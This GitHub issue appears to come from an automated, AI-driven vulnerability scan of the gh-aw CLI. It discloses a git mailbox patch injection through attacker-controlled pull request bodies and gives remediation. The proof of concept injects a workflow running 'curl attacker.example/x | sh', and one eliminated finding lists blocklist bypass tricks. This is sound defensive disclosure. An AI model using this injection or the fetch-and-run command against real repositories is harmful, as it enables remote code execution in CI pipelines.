Skip to content

[vulnhunter] VulnHunter findings in github/gh-aw #57365

Description

@github-actions

Single-agent VulnHunter run over a pre-ranked 40-file scope (Go CLI/compiler + actions/setup JS). Applied the injection phase, then falsified every candidate with the adversarial verification phase. One finding survived.

Summary

Count
Files in scope 40
Candidates raised 5
Confirmed after falsification 1
Eliminated / downgraded 4

The codebase is well hardened on the paths reviewed — dedicated ValidateGitRef / ValidateGitPath / validateExecArgument / validateDockerImageRef guards, argv-only exec.Command (no shell), and -- end-of-options separators are used consistently. The one gap is a hand-rolled git mailbox patch built from untrusted pull request text.


VULN-001 — Git mailbox/patch injection via attacker-controlled PR body

  • File / component: pkg/cli/pr_command.gocreatePatchFromPR (line 250) → applyPatchToRepo (lines 340, 361, 368, 374)
  • Type: CWE-74 — improper neutralization of special elements in output used by a downstream component
  • Severity: Medium

Attacker path. gh aw pr transfer <pr-url>fetchPRInfo (line 188) reads .body verbatim from the GitHub REST API for the named PR. Anyone who can open a PR on the source repository controls it. createPatchFromPR then interpolates it straight into a git mailbox patch:

fmt.Fprintf(&patchBuilder, "Subject: [PATCH] %s\n", prInfo.Title)
patchBuilder.WriteString("\n")
if prInfo.Body != "" {
    fmt.Fprintf(&patchBuilder, "%s\n", prInfo.Body)   // line 250 — unsanitized
    patchBuilder.WriteString("\n")
}
...
patchBuilder.WriteString("---\n")                      // the tool's own separator
patchBuilder.Write(diffContent)                        // the genuine PR diff

The file is fed to git am (line 340), falling back to git apply --3way / --ignore-space-change / --reject (lines 361, 368, 374).

Why it works. git am / git mailinfo end the commit message at the first line consisting of exactly --- and treat the remainder as the patch. Because the body is emitted before the tool's own --- and is never scanned for that sequence, a crafted body injects its own patch section. git apply skips non-diff text between diff --git headers, so injected hunks are applied in addition to the genuine diff that follows.

Proof-of-concept PR body and impact
Fixes a typo.

---
diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml
new file mode 100644
--- /dev/null
+++ b/.github/workflows/release.yml
@@ -0,0 +1,3 @@
+on: push
+jobs:
+  x: {runs-on: ubuntu-latest, steps: [{run: "curl attacker.example/x | sh"}]}

A new file mode hunk always applies cleanly, so the attack does not depend on the target repository's file state.

gh aw pr transfer then writes these changes into the target repository, commits, pushes a branch, and opens a PR (applyPatchToRepocreateTransferPR). The documented use case — "migrating work from trial repositories to production repositories", with examples using gh-aw-trial/repo — is exactly the low-trust-source → high-trust-target direction that makes this reachable.

Why this is credible after falsification
  • Grepped every use of prInfo.Body (lines 250, 400-401, 512): no --- stripping, no escaping, no --scissors anywhere between the API read and the patch write.
  • createPatchFromPR has a single caller; patchFile has a single consumer. git am and all three git apply fallbacks parse the same injected content, so no fallback path avoids it.
  • Not eliminated by "the operator reviews the resulting PR": the injected hunks are absent from the source PR the operator inspected before running the command. Downstream review is a mitigating control, not a defense at this sink — which is why this is rated Medium rather than High.

Remediation (in order of preference):

  1. Stop embedding the body in the patch. Apply the raw gh pr diff output with git apply (no mail headers), then create the commit separately via git commit -m / -F -, where the body is an argument that can never be reparsed as patch content. The code already has this path at lines 391-409 — make it the only path.
  2. If mailbox format must be kept, use git am --scissors with an explicit -- >8 -- line, or neutralize any body line matching ^-{3}\s*$ before writing.
  3. Defense in depth: after applying, assert the changed-file set equals gh pr diff --name-only and abort on divergence.

Option 1 removes the whole class; escaping only the --- sequence is a narrower fix.


Candidates raised and eliminated (not vulnerabilities)
Candidate Verdict
Subject: header injection via PR title — pr_command.go:246 Not confirmed. GitHub PR titles are single-line; CRLF injection unproven. Worth hardening alongside the fix above, but no demonstrated attack.
gh api path injection via item.repoactions/setup/js/evaluate_outcomes.cjs:96-104 Not confirmed. item.repo comes from agent-produced artifacts and is unvalidated, but the sink is execFileSync (no shell), GET-only, same-host, and the response drives only boolean classification. No exfiltration oracle. Hardening suggestion: validate against ^[\w.-]+/[\w.-]+$.
Grader inline-script blocklist bypass — pkg/workflow/graders_config.go:424 False positive (Gate 3). The blocklist (require(, eval(, child_process, ...) is trivially bypassable (require (, "child_"+"process", (()=>{}).constructor), but the script author is the workflow author, who already controls steps:/run: in the same frontmatter. No new capability — a guardrail, not a trust boundary.
GraphQL string interpolation — actions/setup/js/validate_secrets.cjs:156-166 False positive (Gate 2a). owner/repo derive from context.repo (i.e. GITHUB_REPOSITORY), not attacker-controlled.

Warning

Firewall blocked 1 domain

The following domain was blocked by the firewall during workflow execution:

  • api.anthropic.com

To allow these domains, add them to the network.allowed list in your workflow frontmatter:

network:
  allowed:
    - defaults
    - "api.anthropic.com"

See Network Configuration for more information.

Generated by 🛡️ Daily VulnHunter Scan · claude · sonnet46 · 460.2 AIC · ⌖ 54.4 AIC · ⊞ 5.7K ·

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Type

No type

Projects

No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions